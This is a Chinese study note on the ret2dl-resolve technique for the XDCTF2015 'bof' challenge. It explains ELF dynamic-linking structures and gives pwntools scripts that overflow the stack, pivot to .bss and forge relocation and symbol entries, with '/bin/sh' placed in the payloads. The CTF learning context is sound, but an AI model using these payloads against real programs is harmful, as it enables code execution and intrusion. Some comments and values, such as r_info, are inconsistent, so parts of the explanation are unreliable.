Ret2dl
准备:
-h 显示文件的头部信息
-l(program headers),segments 显示程序头(段头)信息(如果有数据的话)。
-S(section headers),sections 显示节头信息(如果有数据的话)(区分大小写)
-g(section groups),显示节组信息(如果有数据的话)
-t,section-details 显示节的详细信息(-S的)
-r,relocs 显示可重定位段的信息
-d,dynamic 显示动态段的信息。
DT_STRTAB, DT_SYMTAB, DT_JMPREL
这三项,这三个东西分别包含了指向.dynstr, .dynsym, .rel.plt
这3个section
的指针,可以readelf -S 可执行文件
看一下
.dynamic:
包含了一些关于动态链接的关键信息,事实上这个section所有程序都差不多
.dynstr:
一个字符串表,index为0的地方永远是0,然后后面是动态链接所需的字符串,0结尾,包括导入函数名,比方说这里很明显有个read。到时候,相关数据结构引用一个字符串时,用的是相对这个section头的偏移
.dynsym
这个东西,是一个符号表(结构体数组),里面记录了各种符号的信息,每个结构体对应一个符号。我们这里只关心函数符号,比方说上面的puts。
.rel.plt
:这里是重定位表(不过跟windows那个重定位表概念不同),也是一个结构体数组,每个项对应一个导入函数。结构体定义如下:
typedef struct{
Elf32_Addr r_offset; //指向GOT表的指针
Elf32_Word r_info;
//一些关于导入符号的信息,我们只关心从第二个字节开始的值((val)>>8),忽略那个07
//1和3是这个导入函数的符号在.dynsym中的下标,
//如果往回看的话你会发现1和3刚好和.dynsym的puts和__libc_start_main对应
} Elf32_Rel;
利用自己写的hello
来测试一下put@plt
在程序里面干了什么(将断点下在程序的main
出,随便下)
注:puts@plt
第一条指令是跳转,这里存放是push
的地址(在我们看来这里应该直接跳转到got
表里面去)
继续往下走 回发现一个jmp
跳转到红色的地方,0x804a004
(是一个link_map
的指针)
它包含了.dynamic
的指针,通过这个link_map
,_dl_runtime_resolve
函数可以访问到.dynamic
这个section
0x08049f14
是.dynamic
的指针 这个可以和前面 .dynamuic
的值是一样的
一般函数plt
调用如下
read@plt:
注,其实在这里我们应该存放的是我们调用函数的地址,因为延迟捆绑技术,需要利用plt返回重定位
jmp *(read@GOT)
#跳转到got
表中 其实这地方保存的地址是push
的地址(第一次调用)
push n
push 保存当前程序的.dynamic的link_map指针
jump _dl_runtime_resolve() #跳转到ret dl处执行我们的代码
link_map
访问.dynamic
,取出.dynstr, .dynsym, .rel.plt
的指针rel.plt + 第二个参数
求出当前函数的重定位表项Elf32_Rel
的指针,记作rel
rel->r_info >> 8
作为.dynsym
的下标,求出当前函数的符号表项Elf32_Sym
的指针,记作sym
.dynstr + sym->st_name
得出符号名字符串指针*rel->r_offset
,即GOT
表#!/usr/bin/python
from pwn import *
elf = ELF('bof')
offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']
# 0x08048618 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"
stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size # 我们可以任意我们伪造栈的大小
r = process('./bof')
r.recvuntil('Welcome to XDCTF2015~!\ n') #先接受一下数据 在其他的程序里面,不接受数据会打乱我内部数据
payload = 'A' * offset #制造溢出
payload += p32(read_plt) #利用返回地址 写入我们的payload ,后面的payload 都是由read读取
payload += p32(ppp_ret) #填充read的参数,先pop出栈内的数据,(自己理解为清栈操作)
payload += p32(0) #文件标识符 0 标准读入
payload += p32(base_stage) #伪造栈一个足够大的栈,够我们写入
payload += p32(100) #read可以读取的最大字符串数
payload += p32(pop_ebp_ret) #这里将pppret的返回地址覆盖为 当下地址,将base_stage 的地址设置为ebp 我们的栈基址
payload += p32(base_stage) #改写ebp
payload += p32(leave_ret) ##将ebp指向esp #了解leace里面的汇编代码
r.sendline(payload)
cmd = "/bin/sh"
payload2 = 'AAAA' #这里需要覆盖 应该是leave_ret的影响,新的ebp (自己这里也有点迷惑
payload2 += p32(write_plt) #自己不太肯定 ,因该p32(leave_ret)的返回地址 覆盖为write的地址,这里是为了验证我们可以泄露我们栈内的数据
payload2 += 'AAAA' # 覆盖返回地址
payload2 += p32(1) #标准
payload2 += p32(base_stage + 80) #用write泄露地址的位置 (这里可以改为,我们想要泄露的地方
payload2 += p32(len(cmd)) #这里是泄露地址的大小 没把握就用函数自己计算长度
payload2 += 'A' * (80 - len(payload2)) #这里payload2 是在这个paylod以前的payload2的长度 (换句话说就是为了构造80个A ,第81 就是我们泄露的地址内容 (用write函数就是为了验证,我们泄露栈内的地址是否成功)
payload2 += cmd + '\x00' #‘bin/sh\x00 是我们需要4自己对其的模式
payload2 += 'A' * (100 - len(payload2)) #我们是read最多可以读取100 我们没事干也可以将没用的填充,这里不影响我我们泄露/bin/sh,是都可以被我我们读取出来
r.sendline(payload2) #write相当一个输出函数,我们不需要用recv来接收和打印出来
r.interactive()
注:上面的代码只是为了测试我们可以用write
函数可以泄露出我们想要的栈里面的内容
Got
找到相应的内容自己理解一下
GOT[1]
:一个指向内部数据结构的指针,类型是 link_map
,在动态装载器内部使用,包含了进行符号解析需要的当前 ELF
对象的信息。在它的l_info
域中保存了.dynamic
段中大多数条目的指针构成的一个数组,我们后面会利用它。
GOT[2]
:一个指向动态装载器中 _dl_runtime_resolve
函数的指针。
函数使用参数link_map_obj
来获取解析导入函数(使用reloc_index
参数标识)需要的信息,并将结果写到正确的 GOT
条目中。在 _dl_runtime_resolve
解析完成后,控制流就交到了那个函数手里,而下次再调用函数的plt
时,就会直接进入目标函数中执行。
注:在进行到现在,我想的是,作者是为了给我们验证,我们可以改程序里面的铭感的参数,来实现我们的函数的调用(应为我们的题,里面没有sysytem
这个函数 但是我们可以伪造system
函数里面的,标志参数
我这将他简化一下
在前面这个脚本里 我们验证了,可以利用write@plt
去泄露地址,我们这此测试,我们是否可以伪造write@plt
里面的参数来实现我们地址的泄露
我们知道在@plt
里面 我们是通过plt
跳转到我们got
表中记录函数的位置,在第一次调用(使用延迟捆绑技术)所以没有我们write
的地址,现在我们能否控制eip
到got0
跳转到我们的write
函数处
Write
函数调用
write@plt
时其实是先将 reloc_index
压入栈,然后跳转到 PLT[0]
: (需要自己gdb
调试进入plt
表进行查看,我每一个函数的@plt的调用都是这样
#这个代码是为了验证,我们将write@plt
函数去掉,改为内部的参数是否可以,继续我们泄露/bin/sh
的内容
plt_0 = elf.get_section_by_name('.plt').header.sh_addr
#这里需要增加地址 plt
对应的是plt
跳转到got
表的地址,我们这里可以用现成的函数找到地址 (后期我会自己将地址找出来,便于理解,现成的函数虽然好用,但是知道多一种方法,多一种解题的思路
reloc_index = 0x20
#注:参考的脚本里面会出现,更改名称,自己在测试的时候吃了亏 多留心一下
payload_3 = "AAAA"
payload_3 += p32(plt_0) #跳转到got表的地方 #如果我们第一次调用,会直接跳撞到 下面一条指令 因为当时存储的是,put @6的地址
payload_3 += p32(reloc_index) #这里将 write的调试标识符号填写进去 伪造调用了write函数
payload_3 += "AAAA"
payload_3 += p32(1)
payload_3 += p32(base_stage + 80)
payload_3 += p32(len("/bin/sh"))
payload_3 += "A" * (80 - len(payload_3))
payload_3 += "/bin/sh\x00"
payload_3 += "A" * (100 - len(payload_3))
r.sendline(payload_3)
r.interactive()
该结构体的 r_offset 是 write@got 地址,即 0x0804a01c,r_info 是 0x707。动态装载器通过 reloc_index 找到它,而 reloc_index 是相对于 .rel.plt 的偏移,所以我们如果控制了这个偏移,就可以跳转到伪造的 write 上
reloc_index = base_stage + 28 - rel_plt # fake_reloc = base_addr + 28
r_info = 0x607 #readelf -r a.out | grep write
fake_reloc = p32(write_got) + p32(r_info)
payload_4 = "AAAA"
payload_4 += p32(plt_0)
payload_4 += p32(reloc_index)
payload_4 += "AAAA"
payload_4 += p32(1)
payload_4 += p32(base_stage + 80)
payload_4 += p32(len("/bin/sh"))
payload_4 += fake_reloc # base_addr + 28 通过reloc_index来找到我们伪造的write
payload_4 += "A" * (80 - len(payload_4))
payload_4 += "/bin/sh\x00"
payload_4 += "A" * (100 - len(payload_4))
下面要用到计算Elf32_Rel
ELF32_R_SYM(0x707) = (0x707 >> 8) = 0x7,即 .dynsym 的第 7 行
ELF32_R_TYPE(0x707) = (0x707 & 0xff) = 0x7,即 #define R_386_JMP_SLOT 7 /* Create PLT entry
ELF32_R_INFO(0x7, 0x7) = (((0x7 << 8) + ((0x7) & 0xff)) = 0x707,即 r_info
这一次,伪造位于 .dynsym 段的结构体 Elf32_Sym,原结构体如下:
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
注:st_name 和 st_info, 3a 和12 (这里显示错误 应该是第7行的值)
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # since the size of Elf32_Sym is 0x10
fake_sym_addr = fake_sym_addr + align
r_sym = (fake_sym_addr - dynsym) / 0x10
r_type = 0x7
r_info = (r_sym << 8) + (r_type & 0xff)
fake_reloc = p32(write_got) + p32(r_info) #下面一部分 我们可以知道
reloc_index = base_stage + 28 - rel_plt
st_name = 0x4c
st_info = 0x12
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
payload_5 = "AAAA"
payload_5 += p32(plt_0)
payload_5 += p32(reloc_index) #找到我们伪造的write函数
payload_5 += "AAAA"
payload_5 += p32(1)
payload_5 += p32(base_stage + 80)
payload_5 += p32(len("/bin/sh"))
payload_5 += fake_reloc #伪造write的内部结构
payload_5 += "A" * align
payload_5 += fake_sym
payload_5 += "A" * (80 - len(payload_5))
payload_5 += "/bin/sh\x00"
payload_5 += "A" * (100 - len(payload_5))